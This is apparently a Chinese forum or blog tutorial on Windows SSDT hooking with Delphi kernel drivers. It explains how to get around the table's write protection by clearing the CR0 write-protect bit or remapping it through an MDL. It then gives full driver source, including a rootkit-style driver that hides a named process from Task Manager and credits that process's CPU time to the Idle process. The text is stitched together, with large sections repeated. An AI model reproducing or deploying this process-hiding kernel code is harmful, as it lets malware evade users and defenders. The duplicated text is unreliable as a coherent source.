实例啊实例……今天早上1点睡的,居然7点半就爬起来了……看来自己很有前途……
RT,丢个SSDT HOOK的砖头吧,也免得很多人说理论太多,实际很多东西不明白,也希望黑防不会说我一稿N发……
这些是主要代码了,至于编译的方式和过程,KmdKit4D是很强悍的,自己写一个makefile吧,某就偷懒不写了……
当然这个驱动不稳定,有时候加载会BSOD,天知道是我RP不好还是怎么了……
最后科普下,CR0寄存器,CR0当中有一个写保护位,是保护内存不可写属性的,为了能够写入内核,只能把它的保护给咔嚓掉了,不过……如果做完了手脚但不还原写保护属性的话,恩恩……具体一点的大家可以看看《天书夜读——从汇编语言到Windows内核编程》那本书,驱网的楚狂人写的,对我们这些小菜鸟帮助很大……
PS:如果以后嫌打字多太麻烦的话(我名字太长了……),请叫我阿飞……不学无术的阿飞一个(经常被DDL欺负的阿飞……RT)
PS2:某不是想装B说自己是Ban,某确实很菜的,其实我也有很多问题不懂,今后还要多向各位大牛请教了
一、一般思路:
1.先来了解一下,什么是SSDT
SSDT即System Service Dispath Table。在了解它之前,我们先了解一下NT的基本组件。在 Windows NT 下,NT 的 executive(NTOSKRNL.EXE 的一部分)提供了核心系统服务。各种 Win32、OS/2 和 POSIX 的 APIs 都是以 DLL 的形式提供的。这些dll中的 APIs 转过来调用了 NT executive 提供的服务。尽管调用了相同的系统服务,但由于子系统不同,API 函数的函数名也不同。例如,要用Win32 API 打开一个文件,应用程序会调用 CreateFile(),而要用 POSIX API,则应用程序调用 open() 函数。这两种应用程序最终都会调用 NT executive 中的 NtCreateFile() 系统服务。
此主题相关图片如下:
用户模式(User mode)的所有调用,如Kernel32,User32.dll, Advapi32.dll等提供的API,最终都封装在Ntdll.dll中,然后通过Int 2E或SYSENTER进入到内核模式,通过服务ID,在System Service Dispatcher Table中分派系统函数,举个具体的例子,如下图:
此主题相关图片如下:
从上可知,SSDT就是一个表,这个表中有内核调用的函数地址。从上图可见,当用户层调用FindNextFile函数时,最终会调用内核层的NtQueryDirectoryFile函数,而这个函数的地址就在SSDT表中,如果我们事先把这个地址改成我们特定函数的地址,那么,哈哈。。。。。。。下来详细了解一下,SSDT的结构,如下图:
此主题相关图片如下:
KeServiceDescriptorTable:是由内核(Ntoskrnl.exe)导出的一个表,这个表是访问SSDT的关键,具体结构如下:
其中,
ServiceTableBase -- System Service Dispatch Table 的基地址。
NumberOfServices 由 ServiceTableBase 描述的服务的数目。
ServiceCounterTable 此域用于操作系统的 checked builds,包含着 SSDT 中每个服务被调用次数的计数器。这个计数器由 INT 2Eh 处理程序 (KiSystemService)更新。
ParamTableBase 包含每个系统服务参数字节数表的基地址。
System Service Dispath Table(SSDT):系统服务分发表,给出了服务函数的地址,每个地址4字节长。
System Service Parameter Table(SSPT):系统服务参数表,定义了对应函数的参数字节,每个函数对应一个字节。如在0x804AB3BF处的函数需0x18字节的参数。
还有一种这样的表,叫KeServiceDescriptorTableShadow,它主要包含GDI服务,也就是我们常用的和窗口,桌面有关的,具体存在于Win32k.sys。在如下图:
此主题相关图片如下:
右侧的服务分发就通过KeServiceDescriptorTableShadow。
那么下来该咋办呢?下来就是去改变SSDT所指向的函数,使之指向我们自己的函数。
2.Hook前的准备-改变SSDT内存的保护
系统对SSDT都是只读的,不能写。如果试图去写,等你的就是BSOD。一般可以修改内存属性的方法有:通过cr0寄存器及Memory Descriptor List(MDL)。
(1)改变CR0寄存器的第1位
Windows对内存的分配,是采用的分页管理。其中有个CR0寄存器,如下图:
此主题相关图片如下:
其中第1位叫做保护属性位,控制着页的读或写属性。如果为1,则可以读/写/执行;如果为0,则只可以读/执行。SSDT、IDT的页属性在默认下都是只读,可执行的,但不能写。所以现在要把这一位设置成1。
(2) 通过Memory Descriptor List(MDL)
也就是把原来SSDT的区域映射到我们自己的MDL区域中,并把这个区域设置成可写。MDL的结构:
首先需要知道KeServiceDscriptorTable的基址和入口数,这样就可以用MmCreateMdl创建一个有起始地址和大小的内存区域。然后把这个MDL结构的flag改成MDL_MAPPED_TO_SYSTEM_VA ,那么这个区域就可以写了。最后把这个内存区域调用MmMapLockedPages锁定在内存中。大体框架如下:
现在遇到的第一个问题解决了,但接着面临另外一个问题,如何获得SSDT中函数的地址呢?
由于Delphi不支持导入其他模块导出的变量,因此我们在这里使用变通的方法,我们把KeServiceDescriptorTable当成函数导入。因此在处理上就和C不同了。由于KeServiceDescriptorTable是当成函数导入的,因此它的真实地址就保存在IAT表中,我们首先用GetImportFunAddr函数从IAT中取得KeServiceDescriptorTable的地址,接下来用SystemServiceName函数取得相应函数在SSDT中的地址。SystemServiceName的原理就是因为所有的Zw*函数都开始于opcode:MOV eax, ULONG,这里的ULONG就是系统调用函数在SSDT中的索引。接下来我们使用InterlockedExchange自动的交换SSDT中索引所对应的函数地址和我们hook函数的地址。
3.小试牛刀:利用SSDT Hook隐藏进程
我们所熟知的任务管理器,能察看系统中的所有进程及其他很多信息,这是由于调用了一个叫ZwQuerySystemInformation的内核函数,其函数原型如下:
如果用我们自己函数,这个函数可以把我们关心的进程过滤掉,再把它与原函数调换,则可达到隐藏的目的,大体思路如下:
(1) 突破SSDT的内存保护,如上所用的MDL方法
(2) 实现自己的NewZwQuerySystemInformation函数,过滤掉以某些字符开头的进程
(3) 用InterlockedExchange来交换ZwQuerySystemInformation与我们自己的New*函数
(4) 卸载New*函数,完成。
具体代码如下:
这里我隐藏了InstDrv这个进程,加载驱动后可以发现我们的驱动确实Hook了ZwQuerySystemInformation,而且在进程列表中也看不到InstDrv进程,说明我们的驱动是成功的^_^。
此主题相关图片如下:
FROM: http://www.kmdkit4d.net
引用: http://hi.baidu.com/cfan_/blog/item/aa2c1e51b0808014367abeb9.html
RT,丢个SSDT HOOK的砖头吧,也免得很多人说理论太多,实际很多东西不明白,也希望黑防不会说我一稿N发……
uses nt_status, ntoskrnl, ntutils; //以前用DDDK的时候直接uses ntddk.pas就完事了…… function _DriverEntry(pDriverObject:PDRIVER_OBJECT; pusRegistryPath:PUNICODE_STRING): NTSTATUS; stdcall;//声明驱动入口点,注意下划线不可少,以后会用到 implementation type TZwOpenProcess = function(ProcessHandle:PHandle; DesiredAccess:TAccessMask; ObjectAttributes:PObjectAttributes; ClientId:PClientId): NTSTATUS; stdcall; var HookActive: Boolean;//定义变量,无视之 ZwOpenProcessNextHook: TZwOpenProcess; function GetImportFunAddr(lpImportAddr: Pointer): Pointer; stdcall;//从导入表中获取一个函数的地址 begin Result := PPointer(PPointer(Cardinal(lpImportAddr) + 2)^)^;//直接使用指针指向函数即可,还原SSDT的时候类似,也只需要指向KeServiceDescriptorTable end; // KeServiceDescriptorTable+函数名计算SSDT函数偏移 function SystemServiceName(AFunc: Pointer): PLONG; stdcall; var lpKeServiceDescriptorTable: PServiceDescriptorEntry; begin lpKeServiceDescriptorTable := PPointer(@KeServiceDescriptorTable)^;//传说中指向系统服务描述符表的指针…… Result := PLONG(Cardinal(lpKeServiceDescriptorTable^.ServiceTableBase) + (SizeOf(ULONG) * PULONG(ULONG(AFunc) + 1)^));//SSDT偏移+函数名,怨念的Function啊 end; 偏移都找到了,还有什么不能干的呢? function ZwOpenProcessHookProc(ProcessHandle:PHandle; DesiredAccess:TAccessMask; ObjectAttributes:PObjectAttributes; ClientId:PClientId): NTSTATUS; stdcall; begin DbgPrint('ZwOpenProcess HookProc: NewZwOpenProcess(ProcessHandle:0x%.8X,DesiredAccess:0x%.8X,ObjectAttributes:0x%.8X,ClientId:0x%.8X)', ProcessHandle, DesiredAccess, ObjectAttributes, ClientId);//玩过驱动的都知道DebugPrint是什么玩意了,调试检测专用,输出你指定的信息,不过发行的时候这部分代码大多会被无视,而且万一出错了,错误输出也不能直接看出来,要依靠DebugView才行 Result := ZwOpenProcessNextHook(ProcessHandle, DesiredAccess, ObjectAttributes, ClientId);//HOOK,HOOK,Hook就是一切 DbgPrint('ZwOpenProcess HookProc: NewZwOpenProcess(-):0x%.8X', Result);//又是DbgPrint,无视…… end; 接下来就是SSDT HOOK最最标准的三部曲了,RT if (Not HookActive) then begin // SSDT Hook asm //内嵌汇编,做过SSDT的都知道要干什么了 cli push eax mov eax, cr0 and eax, not 000010000h //设置内核属性为可写,可怜的CR0寄存器 mov cr0, eax pop eax end; ZwOpenProcessNextHook := TZwOpenProcess(xInterlockedExchange(SystemServiceName(GetImportFunAddr(@ZwOpenProcess)), LONG(@ZwOpenProcessHookProc)));//既然内核可写了,嘿嘿嘿嘿,那就写吧…… asm push eax mov eax, cr0 //得意忘形了不是?内核的不可写性要改回来,什么?不想改?那你自己看着办吧,本人不负任何连带责任…… or eax, 000010000h mov cr0, eax pop eax sti end; DbgPrint('ZwOpenProcess New Address: 0x%.8X', SystemServiceName(GetImportFunAddr(@ZwOpenProcess))^);//DbgPrint,我发誓这是最后一次看到它了! DbgPrint('ZwOpenProcess Old Address: 0x%.8X', DWORD(@ZwOpenProcessNextHook));//上面的不算,这是最后一次…… |
这些是主要代码了,至于编译的方式和过程,KmdKit4D是很强悍的,自己写一个makefile吧,某就偷懒不写了……
当然这个驱动不稳定,有时候加载会BSOD,天知道是我RP不好还是怎么了……
最后科普下,CR0寄存器,CR0当中有一个写保护位,是保护内存不可写属性的,为了能够写入内核,只能把它的保护给咔嚓掉了,不过……如果做完了手脚但不还原写保护属性的话,恩恩……具体一点的大家可以看看《天书夜读——从汇编语言到Windows内核编程》那本书,驱网的楚狂人写的,对我们这些小菜鸟帮助很大……
PS:如果以后嫌打字多太麻烦的话(我名字太长了……),请叫我阿飞……不学无术的阿飞一个(经常被DDL欺负的阿飞……RT)
PS2:某不是想装B说自己是Ban,某确实很菜的,其实我也有很多问题不懂,今后还要多向各位大牛请教了
一、一般思路:
1.先来了解一下,什么是SSDT
SSDT即System Service Dispath Table。在了解它之前,我们先了解一下NT的基本组件。在 Windows NT 下,NT 的 executive(NTOSKRNL.EXE 的一部分)提供了核心系统服务。各种 Win32、OS/2 和 POSIX 的 APIs 都是以 DLL 的形式提供的。这些dll中的 APIs 转过来调用了 NT executive 提供的服务。尽管调用了相同的系统服务,但由于子系统不同,API 函数的函数名也不同。例如,要用Win32 API 打开一个文件,应用程序会调用 CreateFile(),而要用 POSIX API,则应用程序调用 open() 函数。这两种应用程序最终都会调用 NT executive 中的 NtCreateFile() 系统服务。
![](http://www.kmdkit4d.net/images/files/jpg.gif)
![](http://www.kmdkit4d.net/uploadfile/200904/200904221332280940.jpg)
用户模式(User mode)的所有调用,如Kernel32,User32.dll, Advapi32.dll等提供的API,最终都封装在Ntdll.dll中,然后通过Int 2E或SYSENTER进入到内核模式,通过服务ID,在System Service Dispatcher Table中分派系统函数,举个具体的例子,如下图:
![](http://www.kmdkit4d.net/images/files/jpg.gif)
![按此在新窗口浏览图片](http://www.kmdkit4d.net/uploadfile/200904/200904221333010539.jpg)
从上可知,SSDT就是一个表,这个表中有内核调用的函数地址。从上图可见,当用户层调用FindNextFile函数时,最终会调用内核层的NtQueryDirectoryFile函数,而这个函数的地址就在SSDT表中,如果我们事先把这个地址改成我们特定函数的地址,那么,哈哈。。。。。。。下来详细了解一下,SSDT的结构,如下图:
![](http://www.kmdkit4d.net/images/files/jpg.gif)
![按此在新窗口浏览图片](http://www.kmdkit4d.net/uploadfile/200904/200904221333300770.jpg)
KeServiceDescriptorTable:是由内核(Ntoskrnl.exe)导出的一个表,这个表是访问SSDT的关键,具体结构如下:
TServiceDescriptorEntry=packed record ServiceTableBase:PULONG; ServiceCounterTableBase:PULONG; NumberOfServices:ULONG; ParamTableBase:PByte; end; |
其中,
ServiceTableBase -- System Service Dispatch Table 的基地址。
NumberOfServices 由 ServiceTableBase 描述的服务的数目。
ServiceCounterTable 此域用于操作系统的 checked builds,包含着 SSDT 中每个服务被调用次数的计数器。这个计数器由 INT 2Eh 处理程序 (KiSystemService)更新。
ParamTableBase 包含每个系统服务参数字节数表的基地址。
System Service Dispath Table(SSDT):系统服务分发表,给出了服务函数的地址,每个地址4字节长。
System Service Parameter Table(SSPT):系统服务参数表,定义了对应函数的参数字节,每个函数对应一个字节。如在0x804AB3BF处的函数需0x18字节的参数。
还有一种这样的表,叫KeServiceDescriptorTableShadow,它主要包含GDI服务,也就是我们常用的和窗口,桌面有关的,具体存在于Win32k.sys。在如下图:
![](http://www.kmdkit4d.net/images/files/jpg.gif)
![按此在新窗口浏览图片](http://www.kmdkit4d.net/uploadfile/200904/200904221334090908.jpg)
右侧的服务分发就通过KeServiceDescriptorTableShadow。
那么下来该咋办呢?下来就是去改变SSDT所指向的函数,使之指向我们自己的函数。
2.Hook前的准备-改变SSDT内存的保护
系统对SSDT都是只读的,不能写。如果试图去写,等你的就是BSOD。一般可以修改内存属性的方法有:通过cr0寄存器及Memory Descriptor List(MDL)。
(1)改变CR0寄存器的第1位
Windows对内存的分配,是采用的分页管理。其中有个CR0寄存器,如下图:
![](http://www.kmdkit4d.net/images/files/jpg.gif)
![按此在新窗口浏览图片](http://www.kmdkit4d.net/uploadfile/200904/200904221334350864.jpg)
其中第1位叫做保护属性位,控制着页的读或写属性。如果为1,则可以读/写/执行;如果为0,则只可以读/执行。SSDT、IDT的页属性在默认下都是只读,可执行的,但不能写。所以现在要把这一位设置成1。
(2) 通过Memory Descriptor List(MDL)
也就是把原来SSDT的区域映射到我们自己的MDL区域中,并把这个区域设置成可写。MDL的结构:
TMDL=packed record Next: PMDL; Size: CSHORT; MdlFlags: CSHORT; Process: PEPROCESS; MappedSystemVa: PVOID; StartVa: PVOID; ByteCount: ULONG; ByteOffset: ULONG; end; |
首先需要知道KeServiceDscriptorTable的基址和入口数,这样就可以用MmCreateMdl创建一个有起始地址和大小的内存区域。然后把这个MDL结构的flag改成MDL_MAPPED_TO_SYSTEM_VA ,那么这个区域就可以写了。最后把这个内存区域调用MmMapLockedPages锁定在内存中。大体框架如下:
{ 把SSDT隐射到我们的区域,以便修改它为可写属性 } g_pmdlSystemCall := MmCreateMdl(nil, lpKeServiceDescriptorTable^.ServiceTableBase, lpKeServiceDescriptorTable^.NumberOfServices * 4); if g_pmdlSystemCall = nil then Exit(STATUS_UNSUCCESSFUL); MmBuildMdlForNonPagedPool(g_pmdlSystemCall); { 改变MDL的Flags属性为可写,既然可写当然可读,可执行 } g_pmdlSystemCall^.MdlFlags := g_pmdlSystemCall^.MdlFlags or MDL_MAPPED_TO_SYSTEM_VA; { 在内存中锁定,不让换出 } MappedSystemCallTable := MmMapLockedPages(g_pmdlSystemCall, KernelMode); |
现在遇到的第一个问题解决了,但接着面临另外一个问题,如何获得SSDT中函数的地址呢?
由于Delphi不支持导入其他模块导出的变量,因此我们在这里使用变通的方法,我们把KeServiceDescriptorTable当成函数导入。因此在处理上就和C不同了。由于KeServiceDescriptorTable是当成函数导入的,因此它的真实地址就保存在IAT表中,我们首先用GetImportFunAddr函数从IAT中取得KeServiceDescriptorTable的地址,接下来用SystemServiceName函数取得相应函数在SSDT中的地址。SystemServiceName的原理就是因为所有的Zw*函数都开始于opcode:MOV eax, ULONG,这里的ULONG就是系统调用函数在SSDT中的索引。接下来我们使用InterlockedExchange自动的交换SSDT中索引所对应的函数地址和我们hook函数的地址。
3.小试牛刀:利用SSDT Hook隐藏进程
我们所熟知的任务管理器,能察看系统中的所有进程及其他很多信息,这是由于调用了一个叫ZwQuerySystemInformation的内核函数,其函数原型如下:
function ZwQuerySystemInformation( SystemInformationClass: SYSTEM_INFORMATION_CLASS; {如果这值是5,则代表系统中所有进程信息} SystemInformation: PVOID; {这就是最终列举出的信息,和上面的值有关} SystemInformationLength: ULONG; ReturnLength: PULONG): NTSTATUS; stdcall; |
如果用我们自己函数,这个函数可以把我们关心的进程过滤掉,再把它与原函数调换,则可达到隐藏的目的,大体思路如下:
(1) 突破SSDT的内存保护,如上所用的MDL方法
(2) 实现自己的NewZwQuerySystemInformation函数,过滤掉以某些字符开头的进程
(3) 用InterlockedExchange来交换ZwQuerySystemInformation与我们自己的New*函数
(4) 卸载New*函数,完成。
具体代码如下:
unit ssdt_hook; interface uses nt_status, ntoskrnl, native, fcall, macros; function _DriverEntry(pDriverObject:PDRIVER_OBJECT; pusRegistryPath:PUNICODE_STRING): NTSTATUS; stdcall; implementation type {定义ZwQuerySystemInformation函数类型} TZwQuerySystemInformation = function(SystemInformationClass: SYSTEM_INFORMATION_CLASS; SystemInformation: PVOID; SystemInformationLength: ULONG; ReturnLength: PULONG): NTSTATUS; stdcall; var m_UserTime: LARGE_INTEGER; m_KernelTime: LARGE_INTEGER; OldZwQuerySystemInformation: TZwQuerySystemInformation; g_pmdlSystemCall: PMDL; MappedSystemCallTable: PPointer; lpKeServiceDescriptorTable: PServiceDescriptorEntry; { 由于Delphi无法导入其他模块导出的变量,因此我们变通一下,将其 当做函数导入,这样,其真实地址就保存在IAT中,每条导入函数的 IAT记录有6字节,格式为jmp ds:[xxxxxxxx],机器码为FF25xxxxxxxx, FF25是长跳转的机器码,跳过这2字节就是需要的地址。这点与C中不同, 需要注意。} function GetImportFunAddr(lpImportAddr: Pointer): Pointer; stdcall;//从导入表中获取一个函数的地址 begin { 直接使用指针指向函数即可,还原SSDT的时候类似,也只需要指向 KeServiceDescriptorTable } Result := PPointer(PPointer(Cardinal(lpImportAddr) + 2)^)^; end; { KeServiceDescriptorTable+函数名计算SSDT函数偏移 } function SystemServiceName(AFunc: Pointer): PLONG; stdcall; begin { SSDT偏移+函数名,就是SSDT函数偏移 } { Delphi 2009中支持Pointer Math运算,可以这样写 } {Result := lpKeServiceDescriptorTable^.ServiceTableBase[PULONG(ULONG(AFunc) + 1)^];} { 如果用其他版本,就只能像下面这样写了 } Result := PLONG(Cardinal(lpKeServiceDescriptorTable^.ServiceTableBase) + (SizeOf(ULONG) * PULONG(ULONG(AFunc) + 1)^)); end; { 我们的hook函数,过滤掉"InstDrv"的进程 } function NewZwQuerySystemInformation( SystemInformationClass: SYSTEM_INFORMATION_CLASS; SystemInformation: PVOID; SystemInformationLength: ULONG; ReturnLength: PULONG): NTSTATUS; stdcall; var nt_Status: NTSTATUS; curr, prev: PSYSTEM_PROCESSES; times: PSYSTEM_PROCESSOR_TIMES; begin nt_Status := OldZwQuerySystemInformation( SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength ); if NT_SUCCESS(nt_Status) then begin { 请求文件、目录列表 } if SystemInformationClass = SystemProcessesAndThreadsInformation then begin { 列举系统进程链表 } { 寻找"InstDrv"进程 } curr := PSYSTEM_PROCESSES(SystemInformation); prev := nil; while curr <> nil do begin DbgPrint('Current item is %x'#13#10, curr); if curr^.ProcessName.Buffer <> nil then begin if wscncmp(curr^.ProcessName.Buffer, PWideChar('InstDrv'), 7) = 0 then begin Inc(m_UserTime.QuadPart, curr^.UserTime.QuadPart); Inc(m_KernelTime.QuadPart, curr^.KernelTime.QuadPart); if prev <> nil then begin { Middle or Last entry } if curr^.NextEntryDelta <> 0 then Inc(prev^.NextEntryDelta, curr^.NextEntryDelta) else { we are last, so make prev the end } prev^.NextEntryDelta := 0; end else begin if curr^.NextEntryDelta <> 0 then begin { we are first in the list, so move it forward } PAnsiChar(SystemInformation) := PAnsiChar(SystemInformation) + curr^.NextEntryDelta; end else { we are the only process! } SystemInformation := nil; end; end; end else { Idle process入口 } begin { 把InstDrv进程的时间加给Idle进程,Idle称空闲时间 } Inc(curr^.UserTime.QuadPart, m_UserTime.QuadPart); Inc(curr^.KernelTime.QuadPart, m_KernelTime.QuadPart); { 重设时间,为下一次过滤 } m_UserTime.QuadPart := 0; m_KernelTime.QuadPart := 0; end; prev := curr; if curr^.NextEntryDelta <> 0 then PAnsiChar(curr) := PAnsiChar(curr) + curr^.NextEntryDelta else curr := nil; end; end else if SystemInformationClass = SystemProcessorTimes then begin times := PSYSTEM_PROCESSOR_TIMES(SystemInformation); times^.IdleTime.QuadPart := times^.IdleTime.QuadPart + m_UserTime.QuadPart + m_KernelTime.QuadPart; end; end; Result := nt_Status; end; procedure OnUnload(DriverObject: PDRIVER_OBJECT); begin DbgPrint('ROOTKIT: OnUnload called'#13#10); { 卸载hook } InterlockedExchange(SystemServiceName(GetImportFunAddr(@ZwQuerySystemInformation)), LONG(@OldZwQuerySystemInformation)); { 解锁并释放MDL } if g_pmdlSystemCall <> nil then begin MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall); IoFreeMdl(g_pmdlSystemCall); end; end; function _DriverEntry(pDriverObject: PDRIVER_OBJECT; pusRegistryPath: PUNICODE_STRING): NTSTATUS; begin { 取得指向系统服务描述符表的指针…… } lpKeServiceDescriptorTable := GetImportFunAddr(@KeServiceDescriptorTable); { 注册一个卸载的分发函数,与与应用层沟通 } pDriverObject^.DriverUnload := @OnUnload; { 初始化全局时间为零 } { 这将会解决时间问题,如果不这样,尽管隐藏了进程,但时间的 消耗会不变,cpu 100% } m_UserTime.QuadPart := 0; m_KernelTime.QuadPart := 0; { 保存旧的函数地址 } OldZwQuerySystemInformation := TZwQuerySystemInformation(SystemServiceName(GetImportFunAddr(@ZwQuerySystemInformation))); { 把SSDT隐射到我们的区域,以便修改它为可写属性 } g_pmdlSystemCall := MmCreateMdl(nil, lpKeServiceDescriptorTable^.ServiceTableBase, lpKeServiceDescriptorTable^.NumberOfServices * 4); if g_pmdlSystemCall = nil then Exit(STATUS_UNSUCCESSFUL); MmBuildMdlForNonPagedPool(g_pmdlSystemCall); { 改变MDL的Flags属性为可写,既然可写当然可读,可执行 } g_pmdlSystemCall^.MdlFlags := g_pmdlSystemCall^.MdlFlags or MDL_MAPPED_TO_SYSTEM_VA; { 在内存中锁定,不让换出 } MappedSystemCallTable := MmMapLockedPages(g_pmdlSystemCall, KernelMode); { 把原来的Zw*替换成我们的New*函数。至此已完成了我们的主要两步, 先突破了SSDT的保护,接着用InterlockedExchange更改了目标函数, 下来就剩下具体的过滤任务了 } OldZwQuerySystemInformation := TZwQuerySystemInformation(InterlockedExchange(SystemServiceName(GetImportFunAddr(@ZwQuerySystemInformation)), LONG(@NewZwQuerySystemInformation))); Result := STATUS_SUCCESS; end; end. |
这里我隐藏了InstDrv这个进程,加载驱动后可以发现我们的驱动确实Hook了ZwQuerySystemInformation,而且在进程列表中也看不到InstDrv进程,说明我们的驱动是成功的^_^。
![](http://www.kmdkit4d.net/images/files/jpg.gif)
![](http://www.kmdkit4d.net/uploadfile/200904/200904221335230669.jpg)
FROM: http://www.kmdkit4d.net
引用: http://hi.baidu.com/cfan_/blog/item/aa2c1e51b0808014367abeb9.html